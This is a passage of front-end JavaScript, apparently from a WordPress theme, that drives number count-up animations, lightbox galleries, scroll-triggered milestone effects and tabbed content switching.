						self.frameVal = self.startVal - ((self.startVal - self.endVal) * (progress / self.duration));
					} else {
						self.frameVal = self.startVal + (self.endVal - self.startVal) * (progress / self.duration);
					}
				}
				
				// Don't go past endVal since progress can exceed duration in the last frame
				if (self.countDown) {
					self.frameVal = (self.frameVal < self.endVal) ? self.endVal : self.frameVal;
				} else {
					self.frameVal = (self.frameVal > self.endVal) ? self.endVal : self.frameVal;
				}
				
				// Decimal
				self.frameVal = Math.round(self.frameVal * self.dec) / self.dec;
				
				// Format and print value
				self.printValue(self.frameVal);
				
				// Whether to continue
				if (progress < self.duration) {
					self.rAF = requestAnimationFrame(self.count);
				} else {
					if (self.callback) {
						self.callback();
					}
				}
			};
			// Start animation
			self.start = function (callback) {
				self.callback = callback;
				self.rAF = requestAnimationFrame(self.count);
				return false;
			};
			// Toggles pause/resume animation
			self.pauseResume = function () {
				if (!self.paused) {
					self.paused = true;
					cancelAnimationFrame(self.rAF);
				} else {
					self.paused = false;
					delete self.startTime;
					self.duration = self.remaining;
					self.startVal = self.frameVal;
					requestAnimationFrame(self.count);
				}
			};
			// Reset to startVal so animation can be run again
			self.reset = function () {
				self.paused = false;
				delete self.startTime;
				self.startVal = startVal;
				cancelAnimationFrame(self.rAF);
				self.printValue(self.startVal);
			};
			// Pass a new endVal and start animation
			self.update = function (newEndVal) {
				cancelAnimationFrame(self.rAF);
				self.paused = false;
				delete self.startTime;
				self.startVal = self.frameVal;
				self.endVal = Number(newEndVal);
				self.countDown = (self.startVal > self.endVal);
				self.rAF = requestAnimationFrame(self.count);
			};
			
			// Format startVal on initialization
			self.printValue(self.startVal);
		};
		
		var easeOutCubic = function (t, b, c, d) {
			return c * ((t = t / d - 1) * t * t + 1) + b;
		};
		
		
		/**
		* Create styles
		*
		* @since 10.5
		*/
		function nectarCreateStyle(styles, name) {
			
			if(styles.length > 0) {
				
				var head = document.head || document.getElementsByTagName('head')[0];
				var style = document.createElement('style');
				
				style.type = 'text/css';
				if (style.styleSheet) {
					style.styleSheet.cssText = styles;
				} else {
					style.appendChild(document.createTextNode(styles));
				}
				
				$(style).attr('id', name);
				$('head').find('#'+name).remove();
				head.appendChild(style);
				
			}
			
		}
		
		
		
		
		/**
		* FancyBox lightbox.
		*
		* @since 8.0
		*/
		function fancyBoxInit() {
			
			// Convert prettyPhoto links
			$('a.pp')
				.removeClass('pp')
				.attr('data-fancybox', '');
				
			$("a[rel^='prettyPhoto']:not([rel*='_gal']):not([rel*='product-gallery']):not([rel*='prettyPhoto['])")
				.removeAttr('rel')
				.attr('data-fancybox', '');
			
			var $unique_id = uniqueIdGenerate();
			
			// Image gallery nectar.
			$('.wpb_gallery .wpb_gallery_slidesnectarslider_style').each(function() {
				$unique_id = uniqueIdGenerate();
				$(this).find('.swiper-slide a:not(.ext-url-link)').attr('data-fancybox', 'group_' + $unique_id);
			});
			
			// Flexslider.
			$('.wpb_gallery_slides.wpb_flexslider:not([data-onclick="custom_link"])').each(function() {
				$unique_id = uniqueIdGenerate();
				$(this).find('.slides > li > a').attr('data-fancybox', 'group_' + $unique_id);
			});
			
			// Touch enabled gallery.
			$('.wpb_gallery_slidesflickity_style, .wpb_gallery_slidesflickity_static_height_style').each(function() {
				$unique_id = uniqueIdGenerate();
				$(this).find('.cell > a:not(.ext-url-link)').attr('data-fancybox', 'group_' + $unique_id);
			});
			
			// Add galleries to portfolios.
			$('.portfolio-items, .wpb_gallery_slidesparallax_image_grid').each(function() {
				$unique_id = uniqueIdGenerate();
				if ($(this).find('.pretty_photo').length > 0) {
					
					$(this).find('.pretty_photo')
						.removeClass('pretty_photo')
						.attr('data-fancybox', 'group_' + $unique_id);
						
				} else if ($(this).find('a[rel*="prettyPhoto["]').length > 0) {
					
					$(this).find('a[rel*="prettyPhoto["]')
						.removeAttr('rel')
						.attr('data-fancybox', 'group_' + $unique_id);
				}
				
			});
			
			// Nectar auto lightbox theme option.
			if ($body.hasClass('nectar-auto-lightbox')) {
				
				$('.gallery').each(function() {
					if ($(this).find('.gallery-icon a[rel^="prettyPhoto"]').length == 0) {
						var $unique_id = uniqueIdGenerate();
						$(this).find('.gallery-item .gallery-icon a[href*=".jpg"], .gallery-item .gallery-icon a[href*=".png"], .gallery-item .gallery-icon a[href*=".gif"], .gallery-item .gallery-icon a[href*=".jpeg"]')
							.attr('data-fancybox', 'group_' + $unique_id)
							.removeClass('pretty_photo');
					}
				});
				
				$('.main-content img').each(function() {
					
					if ($(this).parent().is("[href]") && 
					!$(this).parent().is(".magnific-popup") && 
					$(this).parents('.tiled-gallery').length == 0 && 
					$(this).parents('.product-image').length == 0 && 
					$(this).parents('.iosSlider.product-slider').length == 0) {
						
						var match = $(this).parent().attr('href').match(/\.(jpg|png|gif)\b/);
						if (match) {
							$(this).parent().attr('data-fancybox', '');
						}
					}
				});
			}
			
			// Regular.
			var fbMarginArr = ($('body.admin-bar').length > 0) ? [60, 100] : [60, 100];
			if (nectarDOMInfo.winW < 1000) {
				fbMarginArr = [0, 0];
			}
			$("[data-fancybox]").fancybox({
				animationEffect: "zoom-in-out",
				animationDuration: 350,
				buttons: [
					'fullScreen',
					'zoom',
					'close'
				],
				margin: fbMarginArr,
				loop: true,
				caption: function() {
					return $(this).attr('title');
				},
				beforeLoad: function(instance) {
					
					if (typeof instance.current.src !== 'string') {
						$.fancybox.close(true);
					}
					
				},
				mobile: {
					margin: 0
				}
			});
		}
		
		/**
		* Magnific lightbox.
		*
		* @since 6.0
		*/
		function magnificInit() {
			
			// Convert old pp links
			$('a.pp')
				.removeClass('pp')
				.addClass('magnific-popup');
				
			$("a[rel^='prettyPhoto']:not([rel*='_gal']):not([rel*='product-gallery']):not([rel*='prettyPhoto['])")
				.removeAttr('rel')
				.addClass('magnific-popup');
			
			// Image gallery nectar.
			$('.wpb_gallery .wpb_gallery_slidesnectarslider_style').each(function() {
				$(this).find('.swiper-slide a:not(.ext-url-link)').addClass('pretty_photo');
			});
			
			// Flexslider.
			$('.wpb_gallery_slides.wpb_flexslider:not([data-onclick="custom_link"])').each(function() {
				$(this).find('.slides > li > a').addClass('pretty_photo');
			});
			
			// Touch enabled gallery.
			$('.wpb_gallery_slidesflickity_style, .wpb_gallery_slidesflickity_static_height_style').each(function() {
				$(this).find('.cell > a:not(.ext-url-link)').addClass('pretty_photo');
			});
			
			// Add galleries to portfolios.
			$('.portfolio-items, .wpb_gallery .swiper-slide, .wpb_gallery_slidesflickity_style .cell, .wpb_gallery_slidesflickity_static_height_style .cell, .wpb_gallery_slides.wpb_flexslider ul > li, .wpb_gallery .parallax-grid-item').each(function() {
				
				if ($(this).find('.pretty_photo').length > 0) {
					
					$(this)
						.find('.pretty_photo')
						.removeClass('pretty_photo')
						.addClass('gallery')
						.addClass('magnific');
					
				} else if ($(this).find('a[rel*="prettyPhoto["]').length > 0) {
					
					$(this)
						.find('a[rel*="prettyPhoto["]')
						.removeAttr('rel')
						.addClass('gallery')
						.addClass('magnific');
				}
				
			});
			
			$("a[data-rel='prettyPhoto[product-gallery]']").each(function() {
				$(this)
					.removeAttr('data-rel')
					.addClass('magnific')
					.addClass('gallery');
			});
			
			// Nectar auto lightbox theme option.
			if ($body.hasClass('nectar-auto-lightbox')) {
				$('.gallery').each(function() {
					if ($(this).find('.gallery-icon a[rel^="prettyPhoto"]').length == 0) {
						
						$(this).find('.gallery-item .gallery-icon a[href*=".jpg"], .gallery-item .gallery-icon a[href*=".png"], .gallery-item .gallery-icon a[href*=".gif"], .gallery-item .gallery-icon a[href*=".jpeg"]')
							.addClass('magnific')
							.addClass('gallery')
							.removeClass('pretty_photo');
					}
				});
				
				$('.main-content img').each(function() {
					
					if ($(this).parent().is("[href]") && 
					!$(this).parent().is(".magnific-popup") && 
					$(this).parents('.tiled-gallery').length == 0 && 
					$(this).parents('.product-image').length == 0 && 
					$(this).parents('.iosSlider.product-slider').length == 0) {
						
						var match = $(this).parent().attr('href').match(/\.(jpg|png|gif)\b/);
						if (match) {
							
							$(this).parent()
								.addClass('magnific-popup')
								.addClass('image-link');
						}
					}
					
				});
				
			}
			
			
			// Regular.
			$('a.magnific-popup:not(.gallery):not(.nectar_video_lightbox)').magnificPopup({
				type: 'image',
				callbacks: {
					imageLoadComplete: function() {
						var $that = this;
						setTimeout(function() {
							$that.wrap.addClass('mfp-image-loaded');
						}, 10);
					},
					beforeOpen: function() {
						this.st.image.markup = this.st.image.markup.replace('mfp-figure', 'mfp-figure mfp-with-anim');
					},
					open: function() {
						
						$.magnificPopup.instance.next = function() {
							var $that = this;
							
							this.wrap.removeClass('mfp-image-loaded');
							setTimeout(function() {
								$.magnificPopup.proto.next.call($that);
							}, 100);
						};
						
						$.magnificPopup.instance.prev = function() {
							var $that = this;
							
							this.wrap.removeClass('mfp-image-loaded');
							setTimeout(function() {
								$.magnificPopup.proto.prev.call($that);
							}, 100);
						};
						
					}
				},
				fixedContentPos: false,
				mainClass: 'mfp-zoom-in',
				removalDelay: 400
			});
			
			// Video.
			$('a.magnific-popup.nectar_video_lightbox, .magnific_nectar_video_lightbox a.link_text, .swiper-slide a[href*=youtube], .swiper-slide a[href*=vimeo], .nectar-video-box a.full-link.magnific-popup').magnificPopup({
				type: 'iframe',
				fixedContentPos: false,
				mainClass: 'mfp-zoom-in',
				removalDelay: 400
			});
			
			
			// Galleries.
			$('a.magnific.gallery').each(function() {
				
				var $parentRow = ($(this).closest('.wpb_column').length > 0) ? $(this).closest('.wpb_column') : $(this).parents('.row');
				
				if ($parentRow.length > 0 && !$parentRow.hasClass('lightbox-col')) {
					
					$parentRow.magnificPopup({
						type: 'image',
						delegate: 'a.magnific',
						mainClass: 'mfp-zoom-in',
						fixedContentPos: false,
						callbacks: {
							
							elementParse: function(item) {
								
								if ($(item.el.context).is('[href]') && $(item.el.context).attr('href').indexOf('iframe=true') != -1 || 
								$(item.el.context).is('[href]') && $(item.el.context).attr('href').indexOf('https://www.youtube.com/watch') != -1) {
									item.type = 'iframe';
								} else if ($(item.el.context).is('[href]') && $(item.el.context).attr('href').indexOf('video-popup-') != -1) {
									item.type = 'inline';
								} else {
									item.type = 'image';
								}
							},
							
							imageLoadComplete: function() {
								var $that = this;
								setTimeout(function() {
									$that.wrap.addClass('mfp-image-loaded');
								}, 10);
							},
							
							beforeOpen: function() {
								this.st.image.markup = this.st.image.markup.replace('mfp-figure', 'mfp-figure mfp-with-anim');
							},
							
							open: function() {
								
								// Self hosted video.
								if ($(this.content).find('.mejs-video video').length > 0 && $().mediaelementplayer) {
									$(this.content).find('.mejs-video video')[0].player.remove();
									
									var $that = this;
									setTimeout(function() {
										$($that.content).find('video').mediaelementplayer();
										$($that.content).find('.mejs-video video')[0].player.play();
									}, 50);
									
								}
								
								$.magnificPopup.instance.next = function() {
									var $that = this;
									
									this.wrap.removeClass('mfp-image-loaded');
									setTimeout(function() {
										$.magnificPopup.proto.next.call($that);
										
										// Self hosted video.
										if ($($that.content).find('.mejs-video video').length > 0) {
											$($that.content).find('.mejs-video video')[0].play();
										}
										
									}, 100);
								};
								
								$.magnificPopup.instance.prev = function() {
									var $that = this;
									
									this.wrap.removeClass('mfp-image-loaded');
									setTimeout(function() {
										$.magnificPopup.proto.prev.call($that);
										
										// Self hosted video.
										if ($($that.content).find('.mejs-video video').length > 0) {
											$($that.content).find('.mejs-video video')[0].play();
										}
									}, 100);
								};
								
							},
							
							close: function() {
								// Self hosted video.
								if ($(this.content).find('.mejs-video video').length > 0) {
									$(this.content).find('.mejs-video video')[0].load();
								}
							}
						},
						removalDelay: 400,
						gallery: {
							enabled: true
						}
					});
					
					$parentRow.addClass('lightbox-col');
				}
				
			});
			
		}
		
		
		/**
		* Lightbox initialization.
		*
		* Determines which lightbox to use based on theme option.
		*
		* @since 8.0
		*/
		function lightBoxInit() {
			
			setTimeout(function(){
				if ($('body[data-ls="magnific"]').length > 0 || $('body[data-ls="pretty_photo"]').length > 0) {
					magnificInit();
				} else if ($('body[data-ls="fancybox"]').length > 0) {
					fancyBoxInit();
				}
			},100);
			
		}
		
		
		/**
		* WPBakery page builder standard animations.
		*
		* @since 7.0
		* @see waypoints
		*/
		function vcWaypoints() {
			
			$($fullscreenSelector + ' .wpb_animate_when_almost_visible').each(function () {
				
				var $that     = $(this),
				$vcOffsetPos  = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '90%',
				waypoint      = new Waypoint({
					element: $that,
					handler: function () {
						
						if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated')) {
							waypoint.destroy();
							return;
						}
						
						$that.addClass("animated");
						$that.addClass("wpb_start_animation");
						waypoint.destroy();
						
						if ($that.is('.nectar-button') && $('body[data-button-style*="rounded_shadow"]').length > 0) {
							setTimeout(function () {
								$that.removeClass('wpb_start_animation');
							}, 1100);
						}
						
					},
					offset: $vcOffsetPos
					
				});
				
			});
		}
		
		
		
		/**
		* Milestone element initialization.
		*
		* @since 4.0
		* @see waypoints
		*/
		function milestoneInit() {
			
			$('.nectar-milestone').each(function () {
				
				// Symbol
				if ($(this).is('[data-symbol]')) {
					
					if ($(this).find('.symbol-wrap').length == 0) {
						
						if ($(this).attr('data-symbol-pos') == 'before') {
							$(this)
								.find('.number')
								.prepend('<div class="symbol-wrap"><span class="symbol">' + $(this).attr('data-symbol') + '</span></div>');
						} else {
							$(this)
								.find('.number')
								.append('<div class="symbol-wrap"><span class="symbol">' + $(this).attr('data-symbol') + '</span></div>');
						}
					}
					
					var $symbol_size;
					
					if ($(this).attr('data-symbol-size') == $(this).find('.number').attr('data-number-size') && $(this).attr('data-symbol-alignment') == 'superscript') {
						$symbol_size = 32;
					} else {
						$symbol_size = parseInt($(this).attr('data-symbol-size'));
					}
					
					$(this).find('.symbol-wrap').css({
						'font-size': $symbol_size + 'px',
						'line-height': $symbol_size + 'px'
					});
				}
				
				$(this).find('.number').css({
					'font-size': $(this).find('.number').attr('data-number-size') + 'px',
					'line-height': $(this).find('.number').attr('data-number-size') + 'px'
				});
			});
			
			if (!$body.hasClass('mobile') && $('.nectar-milestone').length > 0 || $body.hasClass('rtl') && $('.nectar-milestone').length > 0) {
				
				// Blur effect
				var $blurCssString = '';
				$($fullscreenSelector + '.nectar-milestone.motion_blur').each(function (i) {
					
					$(this).removeClass(function (index, className) {
						return (className.match(/(^|\s)instance-\S+/g) || []).join(' ');
					});
					
					$(this).addClass('instance-' + i);
					
					var $currentColor = $(this).find('.number').css('color'),
					colorInt 					= parseInt($currentColor.substring(1), 16);
					
					var	R = (colorInt & 0xFF0000) >> 16,
					G     = (colorInt & 0x00FF00) >> 8,
					B     = (colorInt & 0x0000FF) >> 0;
					
					var $rgbaColorStart = 'rgba(' + R + ',' + G + ',' + B + ',0.2)',
					$rgbaColorEnd 			= 'rgba(' + R + ',' + G + ',' + B + ',1)',
					$numberSize 				= parseInt($(this).find('.number').attr('data-number-size'));
					
					$blurCssString += '@keyframes motion-blur-number-' + i + ' { ' +
					' 0% { ' +
					'opacity: 0;' +
					'color: ' + $rgbaColorStart + '; ' +
					'text-shadow: 0 ' + $numberSize / 20 + 'px 0 ' + $rgbaColorStart + ', 0 ' + $numberSize / 10 + 'px 0 ' + $rgbaColorStart + ', 0 ' + $numberSize / 6 + 'px 0 ' + $rgbaColorStart + ', 0 ' + $numberSize / 5 + 'px 0 ' + $rgbaColorStart + ', 0 ' + $numberSize / 4 + 'px 0 ' + $rgbaColorStart + ', 0 -' + $numberSize / 20 + 'px 0 ' + $rgbaColorStart + ', 0 -' + $numberSize / 10 + 'px 0 ' + $rgbaColorStart + ', 0 -' + $numberSize / 6 + 'px 0 ' + $rgbaColorStart + ', 0 -' + $numberSize / 5 + 'px 0 ' + $rgbaColorStart + ', 0 -' + $numberSize / 4 + 'px 0 ' + $rgbaColorStart + '; ' +
					'transform: translateZ(0px) translateY(-100%); ' +
					'-webkit-transform: translateZ(0px) translateY(-100%); ' +
					'} ' +
					'33% { opacity: 1 }' +
					'100% { ' +
					'color: ' + $rgbaColorEnd + '; ' +
					'text-shadow: none; ' +
					'transform: translateZ(0px) translateY(0px); ' +
					'-webkit-transform: translateZ(0px) translateY(0px); ' +
					'} ' +
					'} ' +
					'@-webkit-keyframes motion-blur-number-' + i + ' { ' +
					' 0% { ' +
					'opacity: 0;' +
					'color: ' + $rgbaColorStart + '; ' +
					'text-shadow: 0 ' + $numberSize / 20 + 'px 0 ' + $rgbaColorStart + ', 0 ' + $numberSize / 10 + 'px 0 ' + $rgbaColorStart + ', 0 ' + $numberSize / 6 + 'px 0 ' + $rgbaColorStart + ', 0 ' + $numberSize / 5 + 'px 0 ' + $rgbaColorStart + ', 0 ' + $numberSize / 4 + 'px 0 ' + $rgbaColorStart + ', 0 -' + $numberSize / 20 + 'px 0 ' + $rgbaColorStart + ', 0 -' + $numberSize / 10 + 'px 0 ' + $rgbaColorStart + ', 0 -' + $numberSize / 6 + 'px 0 ' + $rgbaColorStart + ', 0 -' + $numberSize / 5 + 'px 0 ' + $rgbaColorStart + ', 0 -' + $numberSize / 4 + 'px 0 ' + $rgbaColorStart + '; ' +
					'transform: translateZ(0px) translateY(-100%); ' +
					'-webkit-transform: translateZ(0px) translateY(-100%); ' +
					'} ' +
					'33% { opacity: 1 }' +
					'100% { ' +
					'color: ' + $rgbaColorEnd + '; ' +
					'text-shadow: none; ' +
					'transform: translateZ(0px) translateY(0px); ' +
					'-webkit-transform: translateZ(0px) translateY(0px); ' +
					'} ' +
					'} ' +
					'.nectar-milestone.motion_blur.instance-' + i + ' .number span.in-sight { animation: 0.65s cubic-bezier(0, 0, 0.17, 1) 0s normal backwards 1 motion-blur-number-' + i + '; -webkit-animation: 0.65s cubic-bezier(0, 0, 0.17, 1) 0s normal backwards 1 motion-blur-number-' + i + '; } ';
					
					// Separate each character into spans
					var $symbol = $(this).find('.symbol-wrap').clone();
					$(this).find('.symbol-wrap').remove();
					
					var characters 	= $(this).find('.number').text().split("");
					var $this 			= $(this).find('.number');
					
					$this.empty();
					$.each(characters, function (i, el) {
						$this.append("<span>" + el + "</span");
					});
					
					// Handle symbol
					if ($(this).has('[data-symbol]')) {
						if ($(this).attr('data-symbol-pos') == 'after') {
							$this.append($symbol);
						} else {
							$this.prepend($symbol);
						}
					}
					
				});
				
				// Style
				nectarCreateStyle($blurCssString, 'milestone-blur');
				
				// Activate
				milestoneWaypoint();
				
			}
			
		}
		
		
		/**
		* Milestone animation
		*
		* @since 4.0
		*/
		function milestoneWaypoint() {
			
			$($fullscreenSelector + '.nectar-milestone').each(function () {
				
				// Animation
				var $offset = ($('#nectar_fullscreen_rows').length > 0) ? '250%' : '98%',
				$that       = $(this),
				waypoint    = new Waypoint({
					element: $that,
					handler: function () {
						
						if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
							waypoint.destroy();
							return;
						}
						
						var $endNum = parseInt($that.find('.number span:not(.symbol)').text().replace(/,/g, ''));
						
						if (!$that.hasClass('motion_blur')) {
							
							var countOptions = {
								easingFn: easeOutCubic
							};
							var $countEle = $that.find('.number span:not(.symbol)')[0];
							var numAnim 	= new CountUp($countEle, 0, $endNum, 0, 2.2, countOptions);
							numAnim.start();
							
						} else {
							$that.find('span').each(function (i) {
								var $that = $(this);
								setTimeout(function () {
									$that.addClass('in-sight');
								}, 200 * i);
							});
						}
						
						
						$that.addClass('animated-in');
						waypoint.destroy();
					},
					offset: $offset
					
				});
				
			});
		}
		
		
		
		/**
		* Tabbed element change section event.
		*
		* @since 10.5
		*/
		function tabbedChangeSection(clickedTab) {
			
			var $id = clickedTab.parents('li').index() + 1;
			var $frontEndEditorTabDiv = ($('body.vc_editor').length > 0) ? '> .wpb_tab ' : '';
			
			if (!clickedTab.hasClass('active-tab') && !clickedTab.hasClass('loading')) {
				
				clickedTab.parents('ul')
					.find('a')
					.removeClass('active-tab');
					
				clickedTab
					.addClass('active-tab');
				
				clickedTab.parents('.tabbed').find('> div:not(.clear)' + $frontEndEditorTabDiv).css({
						'visibility': 'hidden',
						'position': 'absolute',
						'opacity': '0',
						'left': '-9999px',
						'display': 'none'
					}).removeClass('visible-tab');
				
				if ($('body.vc_editor').length > 0) {

					var $data_m_id = (clickedTab.parent().is('[data-m-id]')) ? clickedTab.parent().attr('data-m-id') : '';
					
					clickedTab.parents('.tabbed').find('> div[data-model-id="' + $data_m_id + '"]' + $frontEndEditorTabDiv).css({
						'visibility': 'visible',
						'position': 'relative',
						'left': '0',
						'display': 'block'
					}).stop().transition({
						'opacity': 1
					}, 400).addClass('visible-tab');
					
					if( !$body.is('[data-flex-cols="true"]') ) {
						convertFrontEndPadding();
					}
					
				} else {
					clickedTab.parents('.tabbed').find('> div:nth-of-type(' + $id + ')' + $frontEndEditorTabDiv).css({
						'visibility': 'visible',
						'position': 'relative',
						'left': '0',
						'display': 'block'
					}).stop().transition({
						'opacity': 1
					}, 400).addClass('visible-tab');
				}
				
				if (clickedTab.parents('.tabbed').find('> div:nth-of-type(' + $id + ') .iframe-embed').length > 0 || 
				clickedTab.parents('.tabbed').find('> div:nth-of-type(' + $id + ') .portfolio-items').length > 0) {
					setTimeout(function () {
						$window.trigger('resize');
					}, 10);
				}
			}
			
			// Waypoint checking
			if ($tabbedClickCount != 0) {
				
				var $currentVisTab = clickedTab.parents('.tabbed').find('> div:nth-of-type(' + $id + ')' + $frontEndEditorTabDiv);
				
				if ($currentVisTab.find('.nectar-progress-bar').length > 0) {
					progressBars();
				}
				if ($currentVisTab.find('.divider-small-border [data-animate="yes"]').length > 0 || 
				$currentVisTab.find('.divider-border [data-animate="yes"]').length > 0) {
					dividers();
				}
				if ($currentVisTab.find('img.img-with-animation').length > 0 ||
				$currentVisTab.find('.col.has-animation').length > 0 ||
				$currentVisTab.find('.nectar_cascading_images').length > 0 ||
				$currentVisTab.find('.wpb_column.has-animation').length > 0) {
					colAndImgAnimations();
					cascadingImageBGSizing();
				}
				if ($currentVisTab.find('.column-image-bg-wrap[data-bg-animation="displace-filter-fade"]').length > 0) {
					
					for (var k = 0; k < $liquidBG_EL.length; k++) {
						
						if ($($liquidBG_EL[k].canvasContainer).parents('.wpb_tab').length > 0 && 
						$($liquidBG_EL[k].canvasContainer).parents('.wpb_tab').css('visibility') != 'hidden') {
							
							// Add bg to container
							if ($($liquidBG_EL[k].canvasContainer).find('.image-added-to-stage').length == 0) {
								$liquidBG_EL[k].imgContainer.addChild($liquidBG_EL[k].bg);
							}
							$($liquidBG_EL[k].canvasContainer).find('.nectar-liquid-bg').addClass('image-added-to-stage');
							
							// Resize calcs
							$liquidBG_EL[k].resize();
							
							// Animate
							if ($($liquidBG_EL[k].canvasContainer).find('.nectar-liquid-bg.animated-in').length == 0) {
								$liquidBG_EL[k].animateProps($liquidBG_EL[k]);
							}
							
						}
					}
				}
				if ($currentVisTab.find('.nectar-milestone').length > 0) {
					milestoneWaypoint();
				}
				if ($currentVisTab.find('.nectar_image_with_hotspots[data-animation="true"]').length > 0) {
					imageWithHotspots();
					setTimeout(function(){
						$window.trigger('resize');
					},100);
				}
				if ($currentVisTab.find('.nectar-fancy-ul').length > 0) {
					nectarFancyUlInit();
				}
				if ($currentVisTab.find('.nectar-split-heading').length > 0) {
					splitLineHeadings();
				}
				if ($currentVisTab.find('.wpb_column[data-border-animation="true"]').length > 0) {
					animatedColBorders();
				}
				if ($currentVisTab.find('.wpb_animate_when_almost_visible').length > 0) {
					vcWaypoints();
				}
				if ($currentVisTab.find('.nectar-animated-title').length > 0) {
					animatedTitles();
				}
				if ($currentVisTab.find('.nectar-highlighted-text').length > 0) {
					highlightedText();
				}
				if ($currentVisTab.find('.nectar_food_menu_item').length > 0) {
					foodMenuItems();
				}
				if (clickedTab.parents('.wpb_row').length > 0) {
					
					if ($currentVisTab.find('.vc_pie_chart').length > 0 ||
					$currentVisTab.find('.wp-video-shortcode').length > 0 ||
					$currentVisTab.find('.post-area.masonry .posts-container').length > 0 ||
					$currentVisTab.find('.twentytwenty-container').length > 0 ||
					clickedTab.parents('#nectar_fullscreen_rows[data-content-overflow="scrollbar"]').length > 0 ||
					clickedTab.parents('.tabbed').find('> div:nth-of-type(' + $id + ')').find('.wpb_gallery').length > 0 ||
					clickedTab.parents('.wpb_row').next().hasClass('parallax_section')) {
						$window.trigger('resize');
					}
					
					if ($currentVisTab.find('.nectar-flickity').length > 0 && typeof Flickity != 'undefined') {
						var tabbedFlkty = Flickity.data(clickedTab.parents('.tabbed').find('> div:nth-of-type(' + $id + ')').find('.nectar-flickity')[0]);
						tabbedFlkty.resize();
					}
					
					if ($currentVisTab.find('.nectar-woo-flickity').length > 0 && typeof Flickity != 'undefined') {
						var wootabbedFlkty = Flickity.data(clickedTab.parents('.tabbed').find('> div:nth-of-type(' + $id + ')').find('.nectar-woo-flickity > ul')[0]);
						wootabbedFlkty.resize();
					}
					
				}
				
				//SVG icons
				$currentVisTab.find('.svg-icon-holder').each(function (i) {
					
					var $that = $(this);
					
					setTimeout(function () {
						
						var $animationDelay = 0; 

						if($that.is('[data-animation-delay]') && 
						$that.attr('data-animation-delay').length > 0 && 
						$that.attr('data-animation') != 'false') {
							$animationDelay = $that.attr('data-animation-delay');
						}

						clearTimeout($animatedSVGIconTimeout[i]);
						
						if ($that.attr('data-animation') == 'false') {
							$that.css('opacity', '1');
							$svgIcons[$that.find('svg').attr('id').slice(-1)].finish();
						} else {
							
							$svgIcons[$that.find('svg').attr('id').slice(-1)].reset();
							$animatedSVGIconTimeout[i] = setTimeout(function () {
								$svgIcons[$that.find('svg').attr('id').slice(-1)].play();
							}, $animationDelay);
							
						}
					}, 150);
				});
				
			}
			
			// Fix columns inside tabs
			clickedTab.parents('.tabbed').find('.wpb_row').each(function () {
				if (typeof $(this).find('[class*="vc_col-"]').first().offset() != 'undefined') {
					
					var $firstChildOffset = $(this).find('[class*="vc_col-"]').first().offset().left;
					
					$(this).find('[class*="vc_col-"]').each(function () {
						$(this).removeClass('no-left-margin');
						if ($(this).offset().left < $firstChildOffset + 15) {
							$(this).addClass('no-left-margin');
						} else {
							$(this).removeClass('no-left-margin');
						}
					});
				}
				
			});
			
			$tabbedClickCount++;
			
			// Magic line
			if (clickedTab.parent().parent().find('.magic-line').length > 0) {
				magicLineCalc(clickedTab);
			}

		}
		
		
		/**
		* Tabbed element magic line - used for style "Minimal alt"
		*
		* @since 7.0
		*/
		function magicLineCalc($ele) {
			
			var el, leftPos, ratio;
			
			el = $ele.parent();
			if (el.length) {
				leftPos = el.position().left;
				ratio = el.width();
			} else {
				leftPos = ratio = 0;
			}
			
			$ele.parent().parent()
				.find('.magic-line')
				.css('transform', 'translateX(' + leftPos + 'px) scaleX(' + ratio + ')');
		}
		
		
		/**
		* Tabbed element deep linking.
		*
		* @since 3.0
		*/
		function tabbbedDeepLinking() {
			
			if (typeof nectarGetQueryParam['tab'] != 'undefined') {
				$('.wpb_tabs_nav').each(function () {
					
					$(this).find('li').each(function () {
						
						var $currentText  = $(this).find('a').clone(),
						$getText          = nectarGetQueryParam['tab'],
						$that             = $(this);
						
						$currentText.find('svg').remove();
						$currentText = $currentText.text();
						$currentText = $currentText.replace(/\s+/g, '-').toLowerCase();
						
						// SVG icons.
						if( $currentText.length > 0 && $currentText.substring(0,1) === '-' ) {
							$currentText = $currentText.substring(1);
						}
						
						$getText = $getText.replace(/\s+/g, '-').replace(/</g, '&lt;').replace(/"/g, '&quot;').toLowerCase();
												
						if ($currentText == $getText) {
							
							$(this).find('a').trigger('click');
							
							setTimeout(function () {
								$that.find('a').trigger('click');
							}, 501);
						}
						
					});
					
				});
				
			}
			
		}
		
		
		
		/**
		* Tabbed element initialization.
		*
		* @since 3.0
		*/
		function tabbedInit() {
			
			// Click event
			$body.on('click', '.tabbed > ul li:not(.cta-button) a', function(){
				tabbedChangeSection($(this));
				return false;
			});
			
			$('.tabbed').each(function () {
				
				var $that;
				
				// Handle icons
				$(this).find('.wpb_tab').each(function (i) {
					
					if ($(this).is('[data-tab-icon]') && $(this).attr('data-tab-icon').length > 0) {
						
						$(this)
							.parents('.tabbed')
							.addClass('using-icons');
						
						$(this)
							.parents('.tabbed')
							.find('.wpb_tabs_nav li:nth-child(' + (i + 1) + ') > a')
							.prepend('<i class="' + $(this).attr("data-tab-icon") + '"></i>');
						
					}
					
					// SVG icons
					if ($(this).find('.im-icon-wrap.tab-icon').length > 0) {
						
						var $svg_icon_markup = $(this).find('.im-icon-wrap.tab-icon').detach();
						$(this).parents('.tabbed')
							.find('.wpb_tabs_nav li:nth-child(' + (i + 1) + ') > a')
							.prepend($svg_icon_markup);
					}
					
				});
				

				if ($(this).find('.swiper-container').length == 0 && 
					$(this).find('.testimonial_slider').length == 0 && 
					$(this).find('.portfolio-items:not(".carousel")').length == 0 && 
					$(this).find('.wpb_gallery .portfolio-items').length == 0 && 
					$(this).find('iframe').length == 0) {
						$(this).find('> ul li:first-child a').trigger('click');
				}
				
				if ($(this).find('.testimonial_slider').length > 0 || 
				$(this).find('.portfolio-items:not(".carousel")').length > 0 || 
				$(this).find('.wpb_gallery .portfolio-items').length > 0 || 
				$(this).find('iframe').length > 0) {
					
					$that = $(this);
					$(this).find('.wpb_tab').show().css({
						'opacity': 0,
						'height': '1px'
					});
					
					$(this).find('> ul li a').addClass('loading');
					
					setTimeout(function () {
						$that.find('.wpb_tab').hide().css({
							'opacity': 1,
							'height': 'auto'
						});
						
						$that.find('> ul li a').removeClass('loading');
						$that.find('> ul li:first-child a').trigger('click');
						tabbbedDeepLinking();
						
					}, 900);
				}
				
				$that = $(this);
				
				// Minimal alt effect
				setTimeout(function () {
					if ($that.is('[data-style="minimal_alt"]')) {
						$that.find('> ul').append('<li class="magic-line" />');
